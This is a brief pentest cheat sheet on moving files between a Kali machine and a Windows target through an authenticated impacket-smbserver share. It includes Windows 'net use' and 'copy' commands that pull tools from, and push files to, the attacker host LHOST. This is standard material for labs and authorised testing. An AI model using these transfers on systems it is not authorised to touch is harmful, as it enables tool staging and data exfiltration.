SMB — read and write files from Windows

##### Start an authenticated SMB share on Kali ```bash mkdir -p share sudo impacket-smbserver transfer "$(pwd)/share" -smb2support -username USER -password 'PASSWORD' ``` The first positional value is the share name; the second is its local directory. The supplied `USER` and `PASSWORD` authenticate to this temporary Kali share. Some installations expose the legacy wrapper name: ```bash sudo smbserver.py transfer "$(pwd)/share" -smb2support -username USER -password 'PASSWORD' ``` ##### Connect and download from Windows ```cmd net use \\LHOST\transfer /user:USER "PASSWORD" copy \\LHOST\transfer\FILE C:\Windows\Temp\FILE ``` ##### Upload evidence from Windows to Kali ```cmd copy C:\Windows\Temp\FILE \\LHOST\transfer\FILE net use \\LHOST\transfer /delete ``` Kali must accept inbound TCP/445 and the target must permit outbound SMB. The share is read/write unless started with Impacket's `-readonly` option.